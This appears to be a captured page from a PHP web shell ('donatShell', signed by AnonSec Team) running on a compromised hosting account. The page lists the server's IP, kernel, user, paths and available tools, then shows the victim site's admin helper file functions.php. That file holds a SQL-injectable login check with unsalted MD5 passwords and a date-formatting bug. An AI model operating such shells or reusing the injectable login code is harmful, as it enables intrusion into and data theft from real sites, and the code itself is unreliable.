%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/vlasotin/public_html/mojadmin/library/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/vlasotin/public_html/mojadmin/library/functions.php
<?php
	/**
	 * *************************
	 * projekat	WorkForMe
	 * datoteka	funkcije.php
	 * opis		pomocne funkcije
	 * verzija 	1.1
	 * autor	Igor Stefanovic
	 * mail		stefanovicdesign@gmail.com
	 * web		http://www.igorstefanovic.rs
	 * **************************
	 */
	 //skrati text u slideru thumb
	function skrati($str, $n = 60, $end_char = ' &#8230;') {
        if (strlen($str) < $n) {
            return $str;
        }
        $str = preg_replace("/\s+/", ' ', str_replace(array("\r\n", "\r", "\n"), ' ', $str));
        if (strlen($str) <= $n) {
            return $str;
        }
        $out = "";
        foreach (explode(' ', trim($str)) as $val) {
            $out .= $val.' ';

            if (strlen($out) >= $n) {
                $out = trim($out);
                return (strlen($out) == strlen($str)) ? $out : $out.$end_char;
            }       
        }
    }
	function konvertujDatum($date) {
			list($d, $m, $Y) = explode("/", $date);
			return $Y."-".$m."-".$d."";
	}
	function resizeImage($file_tmp, $file_type, $targetdir, $ThumbWidth, $name, $Sheight = "auto") {
		if($file_type == "image/pjpeg" || $file_type == "image/jpeg") {
			$new_img = imagecreatefromjpeg($file_tmp);
		} elseif($file_type == "image/x-png" || $file_type == "image/png") {
			$new_img = imagecreatefrompng($file_tmp);
		}elseif($file_type == "image/gif") {
			$new_img = imagecreatefromgif($file_tmp);
		}

		if($Sheight == "auto") {
			list($width, $height) = getimagesize($file_tmp);
			$imgratio=$width/$height;
			if ($imgratio>1) {
				$newwidth = $ThumbWidth;
				$newheight = $ThumbWidth/$imgratio;
			} else {
				$newheight = $ThumbWidth;
				$newwidth = $ThumbWidth*$imgratio;
			}
		} else {
			list($width, $height) = getimagesize($file_tmp);
			$imgratio=$width/$height;
			if ($imgratio>1) {
				$newwidth = $ThumbWidth;
				$newheight = $Sheight;
			} else {
				$newheight = $Sheight;
				$newwidth = $ThumbWidth*$imgratio;
			}
		}

		if (function_exists(imagecreatetruecolor)){
			$resized_img = imagecreatetruecolor($newwidth,$newheight);
		} else {
			die("GRESKA: Uverite se da je verzija vase GD biblioteke 2+");
		}
		imagecopyresized($resized_img, $new_img, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);

		ImageJpeg ($resized_img, $targetdir.$name);
		ImageDestroy ($resized_img);
		ImageDestroy ($new_img);
 	}
 	
	function cropImage($nw, $nh, $source, $stype, $dest) {
		
		$size = getimagesize($source);
		$w = $size[0];
		$h = $size[1];
		
		switch($stype) {
			case 'gif':
				$simg = imagecreatefromgif($source);
			break;
			case 'jpg':
				$simg = imagecreatefromjpeg($source);
			break;
			case 'png':
				$simg = imagecreatefrompng($source);
			break;
			case 'GIF':
				$simg = imagecreatefromgif($source);
			break;
			case 'JPG':
				$simg = imagecreatefromjpeg($source);
			break;
			case 'PNG':
				$simg = imagecreatefrompng($source);
			break;
		}
		$dimg = imagecreatetruecolor($nw, $nh);
		$wm = $w/$nw;
		$hm = $h/$nh;

		$h_height = $nh/2;
		$w_height = $nw/2;

		if($w> $h) {
			$adjusted_width = $w / $hm;
			$half_width = $adjusted_width / 2;
			$int_width = $half_width - $w_height;
			imagecopyresampled($dimg, $simg, -$int_width, 0, 0, 0, $adjusted_width, $nh, $w, $h);
		} elseif(($w <$h) || ($w == $h)) {
			$adjusted_height = $h / $wm;
			$half_height = $adjusted_height / 2;
			$int_height = $half_height - $h_height;
			imagecopyresampled($dimg, $simg, 0, -$int_height, 0, 0, $nw, $adjusted_height, $w, $h);
		} else {
			imagecopyresampled($dimg, $simg, 0, 0, 0, 0, $nw, $nh, $w, $h);
		}
		imagejpeg($dimg,$dest);
     }
	 
	 
	 function check_login($username, $password) {
	global $link;
		
		if ($username && $password) {
			
			if ($_SESSION['logged_in'] == $username) {
				print "<META http-equiv=\"refresh\" content=\"0;URL=index.php\">"; 
				exit;
			}
			
			$password = md5($password);
			$kveri = "select * from users where user = '".$username."' and pass = '".$password."'";
			$upit = mysql_query($kveri, $link) or die("Pojavila se gre&scaron;ka prilikom izvr&scaron;avanja upita. Poku&scaron;ajte ponovo!");
			$data = mysql_fetch_array($upit, MYSQL_ASSOC);
		
			if (mysql_num_rows($upit) == 1) {
				 $_SESSION['logged_in'] = $data['id'];
		
				  print "<META http-equiv=\"refresh\" content=\"0;URL=index.php\">"; 
				  exit;
			} else {
				print "Korisni&#269;ko ime ili &scaron;ifra koju ste uneli nije ta&#269;na. Poku&scaron;ajte ponovo."; 
				exit;
			 }
		}
	}

	function check() {
		
		if 	(!$_SESSION['logged_in']) {
			print "<META http-equiv=\"refresh\" content=\"0;URL=prijava.php\">";
			exit;
		}
	}
	
	function sizeOfFile($file_size) {
		if ($file_size >= 1048576){
			  $show_filesize = number_format(($file_size / 1048576),2) . " MB";
			}elseif ($file_size >= 1024){
			  $show_filesize = number_format(($file_size / 1024),2) . " KB";
			}elseif ($file_size >= 0){
			  $show_filesize = $file_size . " bitova";
			}else{
			  $show_filesize = "0 bitova";
	   }
	   return $show_filesize;
	}
	function napraviNasDatum($date) {
			list($y, $m, $d) = explode("-", $date); 
			return $d.".".$m.".".$Y.".";
	}
	function napraviNasDatum2($date) {
			list($y, $m, $d) = explode("-", $date);
			return $d.".".$m.".".$y.".";
	}
	function build_category_tree(&$output, $preselected, $parent=0, $indent=""){
		$r = mysql_query("SELECT id, kategorija FROM kategorije WHERE parent = " . $parent . "");
		
		while($c = mysql_fetch_array($r, MYSQL_ASSOC)){
			$selected = ($c["id"] == $preselected) ? "selected=\"selected\"" : "";
			$output .= "<option value=\"" . $c["id"] . "\" " . $selected . ">" . $indent . $c["kategorija"] . "</option>";
			if($c["id"] != $parent){
				build_category_tree($output, $preselected, $c["id"], $indent . "&nbsp;&nbsp;&nbsp;");
			}
		}
	}
	function createPagination($url_link, $page, $resultCount, $limit) {
	
		echo "<div id=\"pagination\" align=\"center\">";
			
	        $totalPages = ceil($resultCount / $limit);
	        
	        
	        $firstPage = ($page == 1) ? 0 : 1;
	        $lastPage  = ($page == $totalPages) ? 0: $totalPages;
        	$prevPage = ($page - 1 <= 0) ? 0 : $page - 1;
        	$nextPage = ($page+1 <= $totalPages) ? $page+1 : 0;
        	
	        if($page < 4) {
	        	$i = 1;
	        	$countTill = ($totalPages > 6) ? 6 : $totalPages;
	        } else {
	        	$i = $page - 3;
	        	$countTill = ($page + 3 <= $totalPages) ? $page+3 : $totalPages;
	        }
	        
	        // printing first page link
	        echo "<div style=\"float:left; width:auto; padding:4px;\">";
		        if($firstPage != 0) {
		        	echo "<a href=\"".$url_link."page/".$firstPage."\">Prva</a> ";
		        } else {
		        	echo "Prva";
		        }
	        echo "</div>";
	        
	        // printing previous page link
	        echo "<div style=\"float:left; width:auto; padding:4px;\">";
		        if($prevPage != 0) {
		        	echo "<a href=\"".$url_link."page/".$prevPage."\">Prethodna</a> ";
		        } else {
		        	echo "Prethodna";
		        }
	        echo "</div>";
	        
			// printing middle pages
			echo "<div style=\"float:left; width:auto; padding:4px;\">";
		        for($i; $i <= $countTill; $i++) {
		            if($page == $i) $additionalClass = " active"; else $additionalClass = "";
		            echo "<a href=\"".$url_link."page/".$i."\" class=\"number $additionalClass\">".$i."</a> ";
		        }
	        echo "</div>";
	        
	        // printing next page link
	        echo "<div style=\"float:left; width:auto; padding:4px;\">";
		        if($nextPage != 0) {
		        	echo "<a href=\"".$url_link."page/".$nextPage."\">Slede&#263;a</a> ";
		        } else {
		        	echo "Slede&#263;a";
		        }
	        echo "</div>";
	        
	        // printing last page link
	        echo "<div style=\"float:left; width:auto; padding:4px;\">";
		        if($lastPage != 0) {
		        	echo "<a href=\"".$url_link."page/".$lastPage."\">Poslednja</a> ";
		        } else {
		        	echo "Poslednja";
		        }
	        echo "</div>";
	        
        echo "</div>";
		
	}
	function leviMeni($izabran = "") {
		
		switch($izabran) {
			case "galerija":
				$g = " class=\"active\"";
			break;
			case "clanice":
				$c = " class=\"active\"";
			break;
			case "projekti":
				$p = " class=\"active\"";
			break;
			case "oglasi":
				$o = " class=\"active\"";
			break;
			case "vesti":
				$v = " class=\"active\"";
			break;
		}
		
		echo "<ul>".
				"<li><a href=\"albumi.php\" $g>Galerija</a></li>".
				"<li><a href=\"clanice.php\" $c>Clanice</a></li>".
				"<li><a href=\"projekti.php\" $p>Projekti</a></li>".
				"<li><a href=\"oglasi.php\" $o>Oglasi</a></li>".
				"<li><a href=\"vesti.php\" $v>Vesti</a></li>".
			"</ul>";
		
	}
?>

Anon7 - 2022
AnonSec Team